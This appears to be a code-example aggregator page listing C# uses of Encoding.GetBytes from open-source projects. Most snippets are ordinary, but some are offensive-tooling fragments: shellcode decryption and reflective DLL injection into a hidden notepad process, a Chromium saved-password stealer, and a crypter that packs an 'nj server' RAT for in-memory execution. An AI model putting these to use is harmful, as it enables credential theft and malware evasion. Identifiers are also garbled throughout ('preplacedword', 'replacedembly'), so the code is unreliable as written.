Here are the examples of the csharp api System.Text.Encoding.GetBytes(string) taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.
16475 Examples
19
Source : Encryption.cs
with GNU General Public License v3.0
from 00000vish
with GNU General Public License v3.0
from 00000vish
public static string Encrypt<T>(string value, string preplacedword)
where T : SymmetricAlgorithm, new()
{
byte[] vectorBytes = ASCIIEncoding.ASCII.GetBytes(_vector);
byte[] saltBytes = ASCIIEncoding.ASCII.GetBytes(_salt);
byte[] valueBytes = UTF8Encoding.UTF8.GetBytes(value);
byte[] encrypted;
using (T cipher = new T())
{
PreplacedwordDeriveBytes _preplacedwordBytes =
new PreplacedwordDeriveBytes(preplacedword, saltBytes, _hash, _iterations);
byte[] keyBytes = _preplacedwordBytes.GetBytes(_keySize / 8);
cipher.Mode = CipherMode.CBC;
using (ICryptoTransform encryptor = cipher.CreateEncryptor(keyBytes, vectorBytes))
{
using (MemoryStream to = new MemoryStream())
{
using (CryptoStream writer = new CryptoStream(to, encryptor, CryptoStreamMode.Write))
{
writer.Write(valueBytes, 0, valueBytes.Length);
writer.FlushFinalBlock();
encrypted = to.ToArray();
}
}
}
cipher.Clear();
}
return Convert.ToBase64String(encrypted);
}
19
Source : Encryption.cs
with GNU General Public License v3.0
from 00000vish
with GNU General Public License v3.0
from 00000vish
public static string Decrypt<T>(string value, string preplacedword) where T : SymmetricAlgorithm, new()
{
byte[] vectorBytes = ASCIIEncoding.ASCII.GetBytes(_vector);
byte[] saltBytes = ASCIIEncoding.ASCII.GetBytes(_salt);
byte[] valueBytes = Convert.FromBase64String(value);
byte[] decrypted;
int decryptedByteCount = 0;
using (T cipher = new T())
{
PreplacedwordDeriveBytes _preplacedwordBytes = new PreplacedwordDeriveBytes(preplacedword, saltBytes, _hash, _iterations);
byte[] keyBytes = _preplacedwordBytes.GetBytes(_keySize / 8);
cipher.Mode = CipherMode.CBC;
try
{
using (ICryptoTransform decryptor = cipher.CreateDecryptor(keyBytes, vectorBytes))
{
using (MemoryStream from = new MemoryStream(valueBytes))
{
using (CryptoStream reader = new CryptoStream(from, decryptor, CryptoStreamMode.Read))
{
decrypted = new byte[valueBytes.Length];
decryptedByteCount = reader.Read(decrypted, 0, decrypted.Length);
}
}
}
}
catch (Exception)
{
return String.Empty;
}
cipher.Clear();
}
return Encoding.UTF8.GetString(decrypted, 0, decryptedByteCount);
}
19
Source : LogFileWriter.cs
with MIT License
from 0ffffffffh
with MIT License
from 0ffffffffh
public void Write(string log)
{
byte[] buffer = Encoding.ASCII.GetBytes(log);
Write(buffer, buffer.Length);
}
19
Source : EdisFace.cs
with MIT License
from 0ffffffffh
with MIT License
from 0ffffffffh
private bool ReplyIndex(HttpListenerContext ctx, string statusMessage)
{
string content = cachedIndexHtml.Replace("%%STATUS_MESSAGE%%", statusMessage);
byte[] data = Encoding.ASCII.GetBytes(content);
try
{
ctx.Response.ContentLength64 = data.Length;
ctx.Response.StatusCode = 200;
ctx.Response.ContentEncoding = Encoding.ASCII;
ctx.Response.ContentType = "text/html";
ctx.Response.OutputStream.Write(data, 0, data.Length);
}
catch (Exception e)
{
Log.Error(e.Message);
data = null;
return false;
}
data = null;
return true;
}
19
Source : LogService.cs
with MIT License
from 0ffffffffh
with MIT License
from 0ffffffffh
private static void Recv()
{
byte[] buffer;
byte[] lineFeed = Encoding.ASCII.GetBytes("\r\n");
int readLen;
buffer = new byte[1024];
while (running)
{
try
{
readLen = sock.ReceiveFrom(buffer, ref localEp);
}
catch
{
readLen = 0;
}
if (readLen > 0)
{
logFile.Write(buffer, readLen);
}
}
}
19
Source : Helper.cs
with MIT License
from 0ffffffffh
with MIT License
from 0ffffffffh
private static string HashWith(HashAlgorithm algo,string v)
{
string hash;
StringBuilder sb = new StringBuilder();
byte[] bytes = Encoding.ASCII.GetBytes(v);
bytes = algo.ComputeHash(bytes);
algo.Dispose();
for (int i = 0; i < bytes.Length; i++)
sb.Append(bytes[i].ToString("X2"));
hash = sb.ToString();
sb.Clear();
sb = null;
return hash;
}
19
Source : Protocol16Serializer.cs
with MIT License
from 0blu
with MIT License
from 0blu
private static void SerializeString(Protocol16Stream output, string value, bool writeTypeCode)
{
output.WriteTypeCodeIfTrue(Protocol16Type.String, writeTypeCode);
byte[] bytes = Encoding.UTF8.GetBytes(value);
if (bytes.Length > short.MaxValue)
{
throw new NotSupportedException($"Strings that exceed a UTF8-encoded byte-length of {short.MaxValue} (short.MaxValue) are not supported. Yours is: {bytes.Length}");
}
SerializeShort(output, (short)bytes.Length, false);
output.Write(bytes, 0, bytes.Length);
}
19
Source : UiHelper.Textures.cs
with GNU Affero General Public License v3.0
from 0ceal0t
with GNU Affero General Public License v3.0
from 0ceal0t
private unsafe static string GetResolvedPath(string texPath) {
var pathBytes = Encoding.ASCII.GetBytes(texPath);
var bPath = stackalloc byte[pathBytes.Length + 1];
Marshal.Copy(pathBytes, 0, new IntPtr(bPath), pathBytes.Length);
var pPath = (char*)bPath;
var typeBytes = Encoding.ASCII.GetBytes("xet");
var bType = stackalloc byte[typeBytes.Length + 1];
Marshal.Copy(typeBytes, 0, new IntPtr(bType), typeBytes.Length);
var pResourceType = (char*)bType;
// TODO: might need to change this based on path
var categoryBytes = BitConverter.GetBytes((uint)6);
var bCategory = stackalloc byte[categoryBytes.Length + 1];
Marshal.Copy(categoryBytes, 0, new IntPtr(bCategory), categoryBytes.Length);
var pCategoryId = (uint*)bCategory;
Crc32.Init();
Crc32.Update(pathBytes);
var hashBytes = BitConverter.GetBytes(Crc32.Checksum);
var bHash = stackalloc byte[hashBytes.Length + 1];
Marshal.Copy(hashBytes, 0, new IntPtr(bHash), hashBytes.Length);
var pResourceHash = (uint*)bHash;
var resource = (TextureResourceHandle*) GetResourceSync(GetFileManager(), pCategoryId, pResourceType, pResourceHash, pPath, (void*)IntPtr.Zero);
var resolvedPath = resource->ResourceHandle.FileName.ToString();
resource->ResourceHandle.DecRef(); // not actually using this
PluginLog.Log($"RefCount {texPath} {resource->ResourceHandle.RefCount}");
return resolvedPath;
}
19
Source : RequestObject.cs
with MIT License
from 0ffffffffh
with MIT License
from 0ffffffffh
public bool Reply(string data)
{
byte[] buffer = Encoding.ASCII.GetBytes(data);
byte[] dataLen = BitConverter.GetBytes((uint)buffer.Length);
try
{
this.serverIoPipe.Write(dataLen, 0, 4);
this.serverIoPipe.Write(buffer, 0, buffer.Length);
}
catch (Exception e)
{
Log.Error("Replying request error: {0}", e.Message);
buffer = null;
dataLen = null;
return false;
}
buffer = null;
dataLen = null;
return true;
}
19
Source : Helper.cs
with MIT License
from 0ffffffffh
with MIT License
from 0ffffffffh
public static string NormalizeTurkishChars(string text)
{
byte[] tempBytes;
tempBytes = Encoding.GetEncoding("ISO-8859-8").GetBytes(text);
return Encoding.UTF8.GetString(tempBytes);
}
19
Source : InternalTalk.cs
with MIT License
from 0ffffffffh
with MIT License
from 0ffffffffh
private bool SendPacket(string value)
{
byte[] data = Encoding.ASCII.GetBytes(value);
try
{
return sock.SendTo(data, ep) > 0;
}
catch { }
return false;
}
19
Source : SharpSteam.cs
with MIT License
from 0x0ade
with MIT License
from 0x0ade
public unsafe bool FileWrite(string managedname, string manageddata) {
byte[] data = Encoding.ASCII.GetBytes(manageddata);
return SteamRemoteStorage.FileWrite(managedname, data, data.Length);
}
19
Source : BoxString.cs
with MIT License
from 0xC0000054
with MIT License
from 0xC0000054
public void Write(BigEndianBinaryWriter writer)
{
writer.Write(Encoding.UTF8.GetBytes(this.Value));
writer.Write((byte)0);
}
19
Source : Program.cs
with MIT License
from 0xDivyanshu
with MIT License
from 0xDivyanshu
public static string CreateMD5(string input)
{
// Use input string to calculate MD5 hash
using (System.Security.Cryptography.MD5 md5 = System.Security.Cryptography.MD5.Create())
{
byte[] inputBytes = System.Text.Encoding.ASCII.GetBytes(input);
byte[] hashBytes = md5.ComputeHash(inputBytes);
// Convert the byte array to hexadecimal string
StringBuilder sb = new StringBuilder();
for (int i = 0; i < hashBytes.Length; i++)
{
sb.Append(hashBytes[i].ToString("X2"));
}
return sb.ToString();
}
}
19
Source : Program.cs
with MIT License
from 0xDivyanshu
with MIT License
from 0xDivyanshu
static byte[] aes_decryption(byte[] shellcode, string preplacedword)
{
string iv = "1234567891234567";
AesCryptoServiceProvider keydecrypt = new AesCryptoServiceProvider();
keydecrypt.BlockSize = 128;
keydecrypt.KeySize = 128;
keydecrypt.Key = System.Text.Encoding.UTF8.GetBytes(preplacedword);
keydecrypt.IV = System.Text.Encoding.UTF8.GetBytes(iv);
keydecrypt.Padding = PaddingMode.PKCS7;
keydecrypt.Mode = CipherMode.CBC;
ICryptoTransform crypto1 = keydecrypt.CreateDecryptor(keydecrypt.Key, keydecrypt.IV);
byte[] returnbytearray = crypto1.TransformFinalBlock(shellcode, 0, shellcode.Length);
crypto1.Dispose();
return returnbytearray;
}
19
Source : Program.cs
with MIT License
from 0xDivyanshu
with MIT License
from 0xDivyanshu
static byte[] xor_decryption(byte[] shellcode, string preplacedword)
{
byte[] preplaced = Encoding.ASCII.GetBytes(preplacedword);
byte[] decode_shellcode = new byte[shellcode.Length];
int j = 0;
for (int i = 0; i < shellcode.Length; i++)
{
if (j >= preplacedword.Length)
{
j = 0;
}
decode_shellcode[i] = (byte)(((uint)shellcode[i] ^ (uint)preplaced[j]) & 0xff);
}
return decode_shellcode;
}
19
Source : Program.cs
with MIT License
from 0xDivyanshu
with MIT License
from 0xDivyanshu
static int reflective_dll_injection(string location)
{
Process[] remote_p = Process.GetProcessesByName("notepad");
int pid = 0;
if (remote_p.Length == 0)
{
//Create Process
Process p = new Process();
p.StartInfo.FileName = "C:\\Windows\\System32\\notepad.exe";
p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
p.Start();
pid = p.Id;
}
else
{
pid = remote_p[0].Id;
}
String dllName = "";
if (location.StartsWith("http"))
{
WebClient wc = new WebClient();
wc.DownloadFile(location, "C:\\Windows\\Temp\\meet.dll");
dllName = "C:\\Windows\\Temp\\meet.dll";
}
else
{
dllName = location;
}
IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
IntPtr address = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
IntPtr bytes = IntPtr.Zero;
bool res = WriteProcessMemory(hProcess, address, Encoding.Default.GetBytes(dllName), dllName.Length, out bytes);
if (res == false)
{
Console.WriteLine("Cannot copy into process");
return -1;
}
IntPtr load_addr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
CreateRemoteThread(hProcess, IntPtr.Zero, 0, load_addr, address, 0, IntPtr.Zero);
return 0;
}
19
Source : Chromium.cs
with GNU General Public License v3.0
from 0xfd3
with GNU General Public License v3.0
from 0xfd3
private static List<Account> Accounts(string path, string browser, string table = "logins")
{
//Get all created profiles from browser path
List<string> loginDataFiles = GetAllProfiles(path);
List<Account> data = new List<Account>();
foreach (string loginFile in loginDataFiles.ToArray())
{
if (!File.Exists(loginFile))
continue;
SQLiteHandler SQLDatabase;
try
{
SQLDatabase = new SQLiteHandler(loginFile); //Open database with Sqlite
}
catch (System.Exception ex)
{
Console.WriteLine(ex.ToString());
continue;
}
if (!SQLDatabase.ReadTable(table))
continue;
for (int I = 0; I <= SQLDatabase.GetRowCount() - 1; I++)
{
try
{
//Get values with row number and column name
string host = SQLDatabase.GetValue(I, "origin_url");
string username = SQLDatabase.GetValue(I, "username_value");
string preplacedword = SQLDatabase.GetValue(I, "preplacedword_value");
if (preplacedword != null)
{
//check v80 preplacedword signature. its starting with v10 or v11
if (preplacedword.StartsWith("v10") || preplacedword.StartsWith("v11"))
{
//Local State file located in the parent folder of profile folder.
byte[] masterKey = GetMasterKey(Directory.GetParent(loginFile).Parent.FullName);
if (masterKey == null)
continue;
preplacedword = DecryptWithKey(Encoding.Default.GetBytes(preplacedword), masterKey);
}
else
preplacedword = Decrypt(preplacedword); //Old versions using UnprotectData for decryption without any key
}
else
continue;
if (!string.IsNullOrEmpty(host) && !string.IsNullOrEmpty(username) && !string.IsNullOrEmpty(preplacedword))
data.Add(new Account() { URL = host, UserName = username, Preplacedword = preplacedword, Application = browser });
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
}
}
return data;
}
19
Source : Chromium.cs
with GNU General Public License v3.0
from 0xfd3
with GNU General Public License v3.0
from 0xfd3
public static string Decrypt(string encryptedData)
{
if (encryptedData == null || encryptedData.Length == 0)
return null;
try
{
return Encoding.UTF8.GetString(ProtectedData.Unprotect(Encoding.Default.GetBytes(encryptedData), null, DataProtectionScope.CurrentUser));
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
return null;
}
}
19
Source : Helper.cs
with MIT License
from 0xDivyanshu
with MIT License
from 0xDivyanshu
static byte[] Encrypt(byte[] data,string Key, string IV)
{
AesCryptoServiceProvider dataencrypt = new AesCryptoServiceProvider();
dataencrypt.BlockSize = 128;
dataencrypt.KeySize = 128;
dataencrypt.Key = System.Text.Encoding.UTF8.GetBytes(Key);
dataencrypt.IV = System.Text.Encoding.UTF8.GetBytes(IV);
dataencrypt.Padding = PaddingMode.PKCS7;
dataencrypt.Mode = CipherMode.CBC;
ICryptoTransform crypto1 = dataencrypt.CreateEncryptor(dataencrypt.Key, dataencrypt.IV);
byte[] encrypteddata = crypto1.TransformFinalBlock(data, 0, data.Length);
crypto1.Dispose();
return encrypteddata;
}
19
Source : Helper.cs
with MIT License
from 0xDivyanshu
with MIT License
from 0xDivyanshu
static byte[] xor_enc(byte[] shellcode, string preplaced)
{
byte[] key = Encoding.ASCII.GetBytes(preplaced);
byte[] enc_shelcode = new byte[shellcode.Length];
int j = 0;
for (int i = 0; i < shellcode.Length; i++)
{
if (j >= key.Length)
{
j = 0;
}
enc_shelcode[i] = (byte)(((uint)shellcode[i] ^ (uint)key[j]) & 0xff);
}
return enc_shelcode;
}
19
Source : AvifFile.cs
with MIT License
from 0xC0000054
with MIT License
from 0xC0000054
private static AvifMetadata CreateAvifMetadata(Doreplacedent doc)
{
byte[] exifBytes = null;
byte[] iccProfileBytes = null;
byte[] xmpBytes = null;
Dictionary<MetadataKey, MetadataEntry> exifMetadata = GetExifMetadataFromDoreplacedent(doc);
if (exifMetadata != null)
{
Exif.ExifColorSpace exifColorSpace = Exif.ExifColorSpace.Srgb;
MetadataKey iccProfileKey = MetadataKeys.Image.InterColorProfile;
if (exifMetadata.TryGetValue(iccProfileKey, out MetadataEntry iccProfileItem))
{
iccProfileBytes = iccProfileItem.GetData();
exifMetadata.Remove(iccProfileKey);
exifColorSpace = Exif.ExifColorSpace.Uncalibrated;
}
exifBytes = new ExifWriter(doc, exifMetadata, exifColorSpace).CreateExifBlob();
}
XmpPacket xmpPacket = doc.Metadata.TryGetXmpPacket();
if (xmpPacket != null)
{
string packetreplacedtring = xmpPacket.ToString(XmpPacketWrapperType.ReadOnly);
xmpBytes = System.Text.Encoding.UTF8.GetBytes(packetreplacedtring);
}
return new AvifMetadata(exifBytes, iccProfileBytes, xmpBytes);
}
19
Source : WebPFile.cs
with MIT License
from 0xC0000054
with MIT License
from 0xC0000054
private static WebPNative.MetadataParams CreateWebPMetadata(Doreplacedent doc)
{
byte[] iccProfileBytes = null;
byte[] exifBytes = null;
byte[] xmpBytes = null;
string colorProfile = doc.Metadata.GetUserValue(WebPMetadataNames.ColorProfile);
if (!string.IsNullOrEmpty(colorProfile))
{
iccProfileBytes = Convert.FromBase64String(colorProfile);
}
string exif = doc.Metadata.GetUserValue(WebPMetadataNames.EXIF);
if (!string.IsNullOrEmpty(exif))
{
exifBytes = Convert.FromBase64String(exif);
}
string xmp = doc.Metadata.GetUserValue(WebPMetadataNames.XMP);
if (!string.IsNullOrEmpty(xmp))
{
xmpBytes = Convert.FromBase64String(xmp);
}
if (iccProfileBytes == null || exifBytes == null)
{
Dictionary<MetadataKey, MetadataEntry> propertyItems = GetMetadataFromDoreplacedent(doc);
if (propertyItems != null)
{
ExifColorSpace exifColorSpace = ExifColorSpace.Srgb;
if (iccProfileBytes != null)
{
exifColorSpace = ExifColorSpace.Uncalibrated;
}
else
{
MetadataKey iccProfileKey = MetadataKeys.Image.InterColorProfile;
if (propertyItems.TryGetValue(iccProfileKey, out MetadataEntry iccProfileItem))
{
iccProfileBytes = iccProfileItem.GetData();
propertyItems.Remove(iccProfileKey);
exifColorSpace = ExifColorSpace.Uncalibrated;
}
}
if (exifBytes == null)
{
exifBytes = new ExifWriter(doc, propertyItems, exifColorSpace).CreateExifBlob();
}
}
}
if (xmpBytes == null)
{
PaintDotNet.Imaging.XmpPacket xmpPacket = doc.Metadata.TryGetXmpPacket();
if (xmpPacket != null)
{
string xmpPacketreplacedtring = xmpPacket.ToString();
xmpBytes = System.Text.Encoding.UTF8.GetBytes(xmpPacketreplacedtring);
}
}
if (iccProfileBytes != null || exifBytes != null || xmpBytes != null)
{
return new WebPNative.MetadataParams(iccProfileBytes, exifBytes, xmpBytes);
}
return null;
}
19
Source : AesGcm.cs
with GNU General Public License v3.0
from 0xfd3
with GNU General Public License v3.0
from 0xfd3
private IntPtr OpenAlgorithmProvider(string alg, string provider, string chainingMode)
{
IntPtr hAlg = IntPtr.Zero;
uint status = BCrypt.BCryptOpenAlgorithmProvider(out hAlg, alg, provider, 0x0);
if (status != BCrypt.ERROR_SUCCESS)
throw new CryptographicException(string.Format("BCrypt.BCryptOpenAlgorithmProvider() failed with status code:{0}", status));
byte[] chainMode = Encoding.Unicode.GetBytes(chainingMode);
status = BCrypt.BCryptSetAlgorithmProperty(hAlg, BCrypt.BCRYPT_CHAINING_MODE, chainMode, chainMode.Length, 0x0);
if (status != BCrypt.ERROR_SUCCESS)
throw new CryptographicException(string.Format("BCrypt.BCryptSetAlgorithmProperty(BCrypt.BCRYPT_CHAINING_MODE, BCrypt.BCRYPT_CHAIN_MODE_GCM) failed with status code:{0}", status));
return hAlg;
}
19
Source : AuthCryptoHelper.cs
with Apache License 2.0
from 0xFireball
with Apache License 2.0
from 0xFireball
public byte[] CalculateUserPreplacedwordHash(string preplacedword, byte[] salt)
{
var preplacedwordBytes = Encoding.UTF8.GetBytes(preplacedword);
return CalculatePreplacedwordHash(preplacedwordBytes, salt);
}
19
Source : fMain.cs
with MIT License
from 0xPh0enix
with MIT License
from 0xPh0enix
private void bCrypt_Click(object sender, EventArgs e)
{
if (!File.Exists(tServer.Text))
{
MessageBox.Show("Error, server is not exists!", "", MessageBoxButtons.OK, MessageBoxIcon.Error);
return;
}
if (!File.Exists(tIcon.Text) && tIcon.Text.Trim() != "")
{
MessageBox.Show("Error, icon is not exists!", "", MessageBoxButtons.OK, MessageBoxIcon.Error);
return;
}
using (SaveFileDialog fSaveDialog = new SaveFileDialog())
{
fSaveDialog.Filter = "Executable (*.exe)|*.exe";
fSaveDialog.replacedle = "Save crypted Server...";
if (fSaveDialog.ShowDialog() == DialogResult.OK)
{
string sFileName = cUtils.GenStr(8);
string sKey = cUtils.GenStr(40);
string sStub = Properties.Resources.Stub
.Replace("%RES_NAME%", sFileName)
.Replace("%ENC_KEY%", sKey);
File.WriteAllBytes(sFileName, nAES256.cAES256.Encrypt(File.ReadAllBytes(tServer.Text), System.Text.Encoding.Default.GetBytes(sKey)));
using (CSharpCodeProvider csCodeProvider = new CSharpCodeProvider(new Dictionary<string, string>
{
{"CompilerVersion", "v2.0"}
}))
{
CompilerParameters cpParams = new CompilerParameters(null, fSaveDialog.FileName, true);
if (tIcon.Text.Trim() == "")
cpParams.CompilerOptions = "/t:winexe /unsafe /platform:x86 /debug-";
else
cpParams.CompilerOptions = "/t:winexe /unsafe /platform:x86 /debug- /win32icon:\"" + tIcon.Text + "\"";
cpParams.Referencedreplacedemblies.Add("System.dll");
cpParams.Referencedreplacedemblies.Add("System.Management.dll");
cpParams.Referencedreplacedemblies.Add("System.Windows.Forms.dll");
cpParams.EmbeddedResources.Add(sFileName);
csCodeProvider.CompilereplacedemblyFromSource(cpParams, sStub);
MessageBox.Show("Your nj server crypted successfully!", "OK", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
File.Delete(sFileName);
}
}
}
19
Source : DefaultCacheKeyBuilder.cs
with MIT License
from 1100100
with MIT License
from 1100100
private static string HashCacheKey(string source)
{
if (string.IsNullOrWhiteSpace(source))
return string.Empty;
_md5Hasher ??= MD5.Create();
var bytes = Encoding.UTF8.GetBytes(source);
var hash = _md5Hasher.ComputeHash(bytes);
return ToString(hash);
}
19
Source : cMain.cs
with MIT License
from 0xPh0enix
with MIT License
from 0xPh0enix
[STAThread]
static void Main()
{
replacedembly aASM = replacedembly.GetExecutingreplacedembly();
using (Stream sResStream = aASM.GetManifestResourceStream("%RES_NAME%"))
{
if (sResStream == null)
return;
byte[] bFile = new byte[sResStream.Length];
sResStream.Read(bFile, 0, bFile.Length);
bFile = Decrypt(bFile, System.Text.Encoding.Default.GetBytes("%ENC_KEY%"));
replacedembly.Load(bFile).EntryPoint.Invoke(null, null);
}
}
19
Source : ConsistentHash.cs
with MIT License
from 1100100
with MIT License
from 1100100
public static int Hash(string data, uint seed = 0xc58f1a7b)
{
return Hash(Encoding.UTF8.GetBytes(data), seed);
}
19
Source : ParamSfo.cs
with MIT License
from 13xforever
with MIT License
from 13xforever
public void WriteTo(Stream stream)
{
if (!stream.CanSeek)
throw new ArgumentException("Stream must be seekable", nameof(stream));
var utf8 = new UTF8Encoding(false);
using var writer = new BinaryWriter(stream, utf8, true);
writer.Write(utf8.GetBytes(Magic));
writer.Write(MajorVersion);
writer.Write(MinorVersion);
writer.Write(Reserved1);
KeysOffset = 0x14 + Items.Count * 0x10;
writer.Write(KeysOffset);
ValuesOffset = KeysOffset + Items.Sum(i => i.Key.Length + 1);
if (ValuesOffset % 4 != 0)
ValuesOffset = (ValuesOffset / 4 + 1) * 4;
writer.Write(ValuesOffset);
ItemCount = Items.Count;
writer.Write(ItemCount);
int lastKeyOffset = KeysOffset;
int lastValueOffset = ValuesOffset;
for (var i = 0; i < Items.Count; i++)
{
var entry = Items[i];
writer.BaseStream.Seek(0x14 + i * 0x10, SeekOrigin.Begin);
writer.Write((ushort)(lastKeyOffset - KeysOffset));
writer.Write((ushort)entry.ValueFormat);
writer.Write(entry.ValueLength);
writer.Write(entry.ValueMaxLength);
writer.Write(lastValueOffset - ValuesOffset);
writer.BaseStream.Seek(lastKeyOffset, SeekOrigin.Begin);
writer.Write(utf8.GetBytes(entry.Key));
writer.Write((byte)0);
lastKeyOffset = (int)writer.BaseStream.Position;
writer.BaseStream.Seek(lastValueOffset, SeekOrigin.Begin);
writer.Write(entry.BinaryValue);
lastValueOffset = (int)writer.BaseStream.Position;
}
}
19
Source : ParamSfo.cs
with MIT License
from 13xforever
with MIT License
from 13xforever
public void WriteTo(Stream stream)
{
if (!stream.CanSeek)
throw new ArgumentException("Stream must be seekable", nameof(stream));
var utf8 = new UTF8Encoding(false);
using var writer = new BinaryWriter(stream, utf8, true);
writer.Write(utf8.GetBytes(Magic));
writer.Write(MajorVersion);
writer.Write(MinorVersion);
writer.Write(Reserved1);
KeysOffset = 0x14 + Items.Count * 0x10;
writer.Write(KeysOffset);
ValuesOffset = KeysOffset + Items.Sum(i => i.Key.Length + 1);
if (ValuesOffset % 4 != 0)
ValuesOffset = (ValuesOffset / 4 + 1) * 4;
writer.Write(ValuesOffset);
ItemCount = Items.Count;
writer.Write(ItemCount);
int lastKeyOffset = KeysOffset;
int lastValueOffset = ValuesOffset;
for (var i = 0; i < Items.Count; i++)
{
var entry = Items[i];
writer.BaseStream.Seek(0x14 + i * 0x10, SeekOrigin.Begin);
writer.Write((ushort)(lastKeyOffset - KeysOffset));
writer.Write((ushort)entry.ValueFormat);
writer.Write(entry.ValueLength);
writer.Write(entry.ValueMaxLength);
writer.Write(lastValueOffset - ValuesOffset);
writer.BaseStream.Seek(lastKeyOffset, SeekOrigin.Begin);
writer.Write(utf8.GetBytes(entry.Key));
writer.Write((byte)0);
lastKeyOffset = (int)writer.BaseStream.Position;
writer.BaseStream.Seek(lastValueOffset, SeekOrigin.Begin);
writer.Write(entry.BinaryValue);
lastValueOffset = (int)writer.BaseStream.Position;
}
}
19
Source : UEStringProperty.cs
with MIT License
from 13xforever
with MIT License
from 13xforever
public override void Serialize(BinaryWriter writer)
{
if (Value == null)
{
writer.Write(0L);
writer.Write((byte)0);
}
else
{
var bytes = Utf8.GetBytes(Value);
writer.Write(bytes.Length + 6L);
writer.Write((byte)0);
writer.Write(bytes.Length+1);
if (bytes.Length > 0)
writer.Write(bytes);
writer.Write((byte)0);
}
}
19
Source : BinaryReaderEx.cs
with MIT License
from 13xforever
with MIT License
from 13xforever
public static void WriteUEString(this BinaryWriter writer, string value)
{
if (value == null)
{
writer.Write(0);
return;
}
var valueBytes = Utf8.GetBytes(value);
writer.Write(valueBytes.Length + 1);
if (valueBytes.Length > 0)
writer.Write(valueBytes);
writer.Write((byte)0);
}
19
Source : AesEncrypt.cs
with MIT License
from 17MKH
with MIT License
from 17MKH
private string Encrypt(string encryptString, string key, bool hex, bool lowerCase = false)
{
if (encryptString.IsNull())
return null;
if (key.IsNull())
key = KEY;
var keyBytes = Encoding.UTF8.GetBytes(key);
var encryptBytes = Encoding.UTF8.GetBytes(encryptString);
var provider = new RijndaelManaged
{
Mode = CipherMode.ECB,
Key = keyBytes,
Padding = PaddingMode.PKCS7
};
using var stream = new MemoryStream();
var cStream = new CryptoStream(stream, provider.CreateEncryptor(), CryptoStreamMode.Write);
cStream.Write(encryptBytes, 0, encryptBytes.Length);
cStream.FlushFinalBlock();
var bytes = stream.ToArray();
return hex ? bytes.ToHex(lowerCase) : bytes.ToBase64();
}
19
Source : CommonExtensions.cs
with MIT License
from 17MKH
with MIT License
from 17MKH
public static string ToHex(this string val, bool lowerCase = true)
{
if (val.IsNull())
return null;
var bytes = Encoding.UTF8.GetBytes(val);
return bytes.ToHex(lowerCase);
}
19
Source : BssMapStringKeyResolver.cs
with MIT License
from 1996v
with MIT License
from 1996v
[MethodImpl(MethodImplOptions.AggressiveInlining)]
public Raw64BytesISegment GetMap1KeySegment(string key)
{
BssMapKeyResolverProvider.VertyBssMapStringKey(key);
return new Raw64BytesISegment(UTF8Encoding.UTF8.GetBytes(key));
}
19
Source : Md5Encrypt.cs
with MIT License
from 17MKH
with MIT License
from 17MKH
public string Encrypt(string source, bool lowerCase = false)
{
if (source.IsNull())
return null;
return Encrypt(Encoding.UTF8.GetBytes(source), lowerCase);
}
19
Source : BssMapStringKeyResolver.cs
with MIT License
from 1996v
with MIT License
from 1996v
[MethodImpl(MethodImplOptions.AggressiveInlining)]
public UInt64BytesISegment GetMap2KeySegment(string key)
{
BssMapKeyResolverProvider.VertyBssMapStringKey(key);
return new UInt64BytesISegment(UTF8Encoding.UTF8.GetBytes(key));
}
19
Source : AesEncrypt.cs
with MIT License
from 17MKH
with MIT License
from 17MKH
private string Decrypt(string decryptString, string key, bool hex)
{
if (decryptString.IsNull())
return null;
if (key.IsNull())
key = KEY;
var keyBytes = Encoding.UTF8.GetBytes(key);
var encryptBytes = hex ? decryptString.Hex2Bytes() : Convert.FromBase64String(decryptString);
var provider = new RijndaelManaged
{
Key = keyBytes,
Mode = CipherMode.ECB,
Padding = PaddingMode.PKCS7
};
using var mStream = new MemoryStream();
using var cStream = new CryptoStream(mStream, provider.CreateDecryptor(), CryptoStreamMode.Write);
cStream.Write(encryptBytes, 0, encryptBytes.Length);
cStream.FlushFinalBlock();
return Encoding.UTF8.GetString(mStream.ToArray());
}
19
Source : TripleDesEncrypt.cs
with MIT License
from 17MKH
with MIT License
from 17MKH
private string Encrypt(string encryptString, string key, bool hex, bool lowerCase = false)
{
if (encryptString.IsNull())
return null;
if (key.IsNull())
key = KEY;
var keyBytes = Encoding.UTF8.GetBytes(key);
var encryptBytes = Encoding.UTF8.GetBytes(encryptString);
var provider = new TripleDESCryptoServiceProvider
{
Key = keyBytes,
Mode = CipherMode.ECB,
Padding = PaddingMode.PKCS7,
};
using var stream = new MemoryStream();
using var cStream = new CryptoStream(stream, provider.CreateEncryptor(), CryptoStreamMode.Write);
cStream.Write(encryptBytes, 0, encryptBytes.Length);
cStream.FlushFinalBlock();
var bytes = stream.ToArray();
return hex ? bytes.ToHex(lowerCase) : bytes.ToBase64();
}
19
Source : TripleDesEncrypt.cs
with MIT License
from 17MKH
with MIT License
from 17MKH
private string Decrypt(string decryptString, string key, bool hex)
{
if (decryptString.IsNull())
return null;
if (key.IsNull())
key = KEY;
var keyBytes = Encoding.UTF8.GetBytes(key);
var encryptBytes = hex ? decryptString.Hex2Bytes() : Convert.FromBase64String(decryptString);
var provider = new DESCryptoServiceProvider
{
Key = keyBytes,
Mode = CipherMode.ECB,
Padding = PaddingMode.PKCS7
};
using var mStream = new MemoryStream();
using var cStream = new CryptoStream(mStream, provider.CreateDecryptor(), CryptoStreamMode.Write);
cStream.Write(encryptBytes, 0, encryptBytes.Length);
cStream.FlushFinalBlock();
return Encoding.UTF8.GetString(mStream.ToArray());
}
19
Source : StringExtensions.cs
with MIT License
from 17MKH
with MIT License
from 17MKH
public static string ToBase64(this string s, Encoding encoding)
{
if (s.IsNull())
return string.Empty;
var bytes = encoding.GetBytes(s);
return bytes.ToBase64();
}
19
Source : BytesISegmentTest.cs
with MIT License
from 1996v
with MIT License
from 1996v
[Fact]
public void UInt64BytesISegment_Value_Is_Correctly()
{
UInt64BytesISegment se;
se = new UInt64BytesISegment(UTF8Encoding.UTF8.GetBytes("a123456789"));
se.Len.Is(10);
se.UInt64Count.Is(2);
se.LastValueByteCount.Is(2);
se[0].Is((ulong)3978425819141910881);
se[1].Is((ulong)14648);
se = new UInt64BytesISegment(UTF8Encoding.UTF8.GetBytes("b123"));
se.Len.Is(4);
se.UInt64Count.Is(1);
